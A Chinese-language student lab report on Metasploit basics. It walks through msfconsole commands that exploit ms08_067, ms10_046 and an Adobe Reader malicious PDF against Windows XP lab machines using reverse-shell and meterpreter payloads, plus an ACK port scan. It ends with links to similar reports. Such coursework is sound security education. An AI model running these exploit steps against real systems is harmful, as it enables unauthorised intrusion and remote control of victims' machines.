2018-2019-2 20165336《网络攻防技术》Exp5 MSF基础应用
2018-2019-2 20165336《网络攻防技术》Exp5 MSF基础应用
一、攻击实例
主动攻击的实践
ms08_067(成功)
payload/generic/shell_reverse_tcp(成功)
攻击浏览器的实践
ms11_050(失败)ms11_046(成功)
exploit/windows/browser/ms10_046_shortcut_icon_dllloader(成功且唯一)
exploit/windows/smb/ms10_046_shortcut_icon_dllloader(成功)
攻击客户端的实践
Adobe(成功)
成功应用任何一个辅助模块
- 应用
use auxiliary/scanner/portscan/ACK(成功且唯一)
- 应用
二、知识点总结
- 1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
- 2.MSF的六种模块
- 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
主动渗透攻击:攻击某个系统服务
被动渗透攻击:攻击某个客户端应用 - 辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
网络服务的扫描与查点
探查敏感信息泄露、Fuzz测试发掘漏洞
收集登录密码 - 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
- 空字段模块Nop Modules
一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)
由于系统无法精确计算shellcode的起始地址,所以加入nops以增加攻击成功的概率 - 编码模块Encoders
改变payload形状,使得不出现特定字符
确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符” - 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行
- 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
- 查看六种模块源码目录/usr/share/metasploit-framework/modules
- 3.MSF的三种用户操作界面
- msfconsole
查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
查看设置信息show [options]
查看攻击目标类型show [target]
查找命令search
查找2016年产生的在windows平台下的漏洞search ms16 type:exploit platform:windows - armitage
启动服务器service postgresql start
启动armitagearmitage - webgui
- msfconsole
三、攻击实例
Exp5-1 实现ms08_067
靶机:windows XP SP3 中文版
payload : generic/shell_reverse_tcp
实验步骤
输入
msfconsole打开metasploit控制台查看一下ms08_067这个漏洞在哪里
search ms08-067

选择漏洞
use exploit/windows/smb/ms08_067_netapi选择通过反向连接来获取shell的
generic/shell_reverse_tcp当payload,使用指令set payload generic/shell_reverse_tcp对payload进行设置show targets查看这个漏洞波及的系统版本,我们也可以通过修改target的值,来选择我们具体想要攻击的计算机系统(通常可以采用自动选取,即target设置为0)查看设置信息
show options设置主机ip
192.168.1.241和端口号 5336设置靶机ip
set RHOSTS 192.168.1.140

接着使用
exploit指令攻击成功

任务二:一个针对浏览器的攻击
实现ms11_050(失败)
- 关于漏洞的原理
- 原理:IE浏览器MSHTML模块在处理无效标签时存在use-after-free漏洞
- 影响范围:IE Exploer 7 以及 IE Exploer 8
search ms11_050 搜索漏洞
use windows/browser/ms10_046_shortcut_icon_dllloader 使用漏洞
show payloads 显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp 选择攻击载荷
options 查看配置信息
set LHOST [ip] 设置监听地址
set 设置监听端口
set 设置攻击Ip
exploit 开始攻击,并在靶机打开msf给的http网址
sessions -i num 查看开启的会话
实验步骤
search ms11_050搜索漏洞use windows/browser/ms10_046_shortcut_icon_dllloader使用漏洞show payloads显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp选择攻击载荷

对ip地址,端口号进行设置,然后进行攻击但失败了。


原因探索:
根据同学之间的交流,大家一致认为虚拟机windows XP sp3 中文版,会出现攻击失败的情况,重新更换靶机用windows XP SP3 英文版即可成功。
实现ms10_046(成功且唯一)
靶机:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8
exploit/windows/browser/ms10_046_shortcut_icon_dllloader
实验步骤
show payloads #显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
show options #查看配置信息
set LHOST 192.168.1.241 #设置监听地址
exploit #进行攻击
输入
msfconsole进入控制台,并使用刚才找到的exploituse windows/browser/ms10_046_shortcut_icon_dllloader

配置地址和端口号等信息

用exploit 进行攻击,windows XP打开相应地址然而出现了问题,失败了,查看session并没有连接。从而进行解决问题的思考ing。。。

尝试靶机用windows 7 结果一样失败了


原因探索:
探索原因后发现,windows XP靶机的IE浏览器的版本有问题,导致程序无法调用dll文件执行相应操作,实现攻击,所以得手动运行程序(有点low),才能实现攻击成功。


实现ms10_046(2)(成功)
靶机:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8
exploit/windows/smb/ms10_046_shortcut_icon_dllloader
show payloads #显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
show options #查看配置信息
set LHOST 192.168.1.241 #设置监听地址
exploit #进行攻击
实验步骤
- 根据实现ms10_046(1)步骤可成功完成攻击。



- 最终攻击成功

任务三:一个针对客户端的攻击
实现Adobe
- 漏洞原理
- 这个漏洞针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出
- 本次攻击对象:windows xp sp3 Adobe 9.3.2
实验步骤
search adobe #进行查找
use windows/fileformat/adobe_cooltype_sing #使用漏洞
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 192.168.1.241 #攻击者地址
set FILENAME 20165336.pdf #设置生成pdf文件的文件名
exploit #攻击
选择攻击模块,将其载入。

使用命令show payloads选择要使用的payload(这里使用了windows/meterpreter/reverse_http
对地址等参数进行配置
使用命令show options查看相关参数设置要求
设置好相应参数后,开始实施攻击,发现在/root/.msf4/local/目录下成功生成了一个20165336.pdf文件然后将该文件传送到靶机上(通过共享文件夹)并且在攻击机上打开监听

将靶机中的pdf文件打开,攻击机成功获取到靶机shell:

任务四:应用辅助模块
辅助模块:运用TCP中的ACK响应包检查端口的开放状态以及是否被屏蔽
在auxiliary中进行查找
search auxiliary

auxiliary中
use auxiliary/scanner/portscan/ack并配置相应的主机地址和需要扫描的端口(这里我选择默认)exploit开始进行攻击

auxiliary模块执行完毕(为了截图提前中止了)

四、实验总结
1.实验总结与体会
这次实验我更加对msf有了极大的兴趣,再用exploit和payload时,让我了解到了许多的漏洞和有效的攻击手段,从而感觉到了工具的强大,在利用好工具与自己掌握很扎实的基础知识下,攻击便会得心应手,个人感觉nmap和auxiliary的作用有相似之处。总之在经过这次实验后,我对msf的理解又更深了一步,我相信在兴趣的推动下我会不断提高。
2.离实战还缺些什么技术
对于msf我认为还是个小白,距离实战还有很远的路,在熟练基础知识的前提下,还要熟悉所使用的工具,还需要不断地提高自己对渗透攻击的理解思维,这样才能在实战中从容应对。
3.用自己的话解释什么是exploit,payload,encode
exploit我认为是攻击者开始向靶机进行攻击。
payload我认为是攻击者进行攻击所能提供用到的“武器”。
encode编码我认为是使shellcode改变,从而躲避检测。
2018-2019-2 20165336《网络攻防技术》Exp5 MSF基础应用的更多相关文章
- 2018-2019-2 20165206 网络攻防技术 Exp5 MSF基础应用
- 2018-2019-2 20165206<网络攻防技术>Exp5 MSF基础应用 - 实验任务 1.1一个主动攻击实践,如ms08_067; (1分) 1.2 一个针对浏览器的攻击,如 ...
- 20155226《网络攻防》 Exp5 MSF基础应用
20155226<网络攻防> Exp5 MSF基础应用 基础问题回答 1.用自己的话解释什么是exploit,payload,encode? exploit : Exploit的英文意思就 ...
- 20155318 《网络攻防》Exp5 MSF基础应用
20155318 <网络攻防>Exp5 MSF基础应用 基础问题 用自己的话解释什么是exploit,payload,encode? exploit就相当于是载具,将真正要负责攻击的代码传 ...
- 20145236《网络攻防》Exp5 MSF基础应用
20145236<网络攻防>Exp5 MSF基础应用 一.基础问题回答 解释exploit,payload,encode是什么: exploit就是负责负载有用代码的交通工具,先通过exp ...
- 20155301 《网络攻防》 Exp5 MSF基础应用
20155301 <网络攻防> Exp5 MSF基础应用 基础问题 1.用自己的话解释什么是exploit,payload,encode 答:exploit就是利用一些工具的,用来收集目标 ...
- 20155321 《网络攻防》 Exp5 MSF基础应用
20155321 <网络攻防> Exp5 MSF基础应用 基础问题 用自己的话解释什么是exploit,payload,encode 关于exploit,我觉得exploit是利用一些工具 ...
- 20155338 《网络攻防》Exp5 MSF基础应用
20155338 <网络攻防>Exp5 MSF基础应用 基础问题回答 1. 用自己的话解释什么是exploit,payload,encode? exploit将真正要负责攻击的代码传送到靶 ...
- 2015306 白皎 《网络攻防》Exp5 MSF基础应用
2015306 白皎 <网络攻防>Exp5 MSF基础应用 一.基础问题 用自己的话解释什么是exploit,payload,encode. exploit指由攻击者或渗透测试者利用一个系 ...
- 20155334 《网络攻防》Exp5 MSF基础应用
一.基础问题回答 解释exploit,payload,encode是什么: 项目 作用 exploit 是负载有用代码的交通工具,让代码到达目的地,并作用 payload 是有具体功能的代码,能够完成 ...
- 20155211 网络攻防技术 Exp08 Web基础
20155211 网络攻防技术 Exp08 Web基础 实践内容 Web前端HTML,能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. We ...
随机推荐
- Lua中的协同程序
[前言] 协同程序与线程差不多,也就是一条执行序列,拥有自己独立的栈.局部变量和指令指针,同时又与其它协同程序共享全局变量和其它大部分东西.从概念上讲,线程与协同程序的主要区别在于,一个具有多个线程的 ...
- Golang 新手可能会踩的 50 个坑【转】
译文:https://github.com/wuYin/blog/blob/master/50-shades-of-golang-traps-gotchas-mistakes.md 原文:50 Sha ...
- Exceptionless 生产部署笔记
参考 部署用于生产的Exceptionlees(一个强大易用的日志收集服务) 1. 安装配置 redis 4.0 点击下载redis教学脑图 cd /opt wget http://download ...
- 不装插件,查看.rp文件
AxShare国内平台地址:http://share.axure.org临时急用可以使用公用帐户.用户名:axure@webppd.com,密码:webppd123 上传.rp文件,点击 url 地址 ...
- Hbase写Hfile报错:Trying to load more than 32 hfiles to one family of one region
在写Hfile的时候 ,如果一个family下超过了默认的32个hfile,就会报如下错误: ERROR mapreduce.LoadIncrementalHFiles: Trying to load ...
- CodeForces 553E Kyoya and Train 动态规划 多项式 FFT 分治
原文链接http://www.cnblogs.com/zhouzhendong/p/8847145.html 题目传送门 - CodeForces 553E 题意 一个有$n$个节点$m$条边的有向图 ...
- 设置通过Maven创建工程的JDK版本
在eclipse中创建的Maven工程默认的运行环境为JDK1.5,如果想修改JDK的版本,无非是右键项目点击Build Path->Configure Build Path修改JDK信息-&g ...
- C# 堆栈(Stack)和队列(Queue)
一.什么是堆?(Heap) 堆是无序的,是一片不连续的内存域,由用户自己来控制和释放,如果用户自己不释放的话,当内存达到一定的特定值时,通过垃圾回收器(GC)来回收. 是程序运行期 ...
- loadrunner之java user脚本开发
脚本开发环境: loadrunner11.0 jdk1.6.32_x86_32 脚本开发 1.选择JavaVuser协议 2.配置java环境(Vuser--RunTime Settings) 3.开 ...
- 使用python处理地理数据:Geopandas
说句实话处理地理数据使用python还是比较麻烦的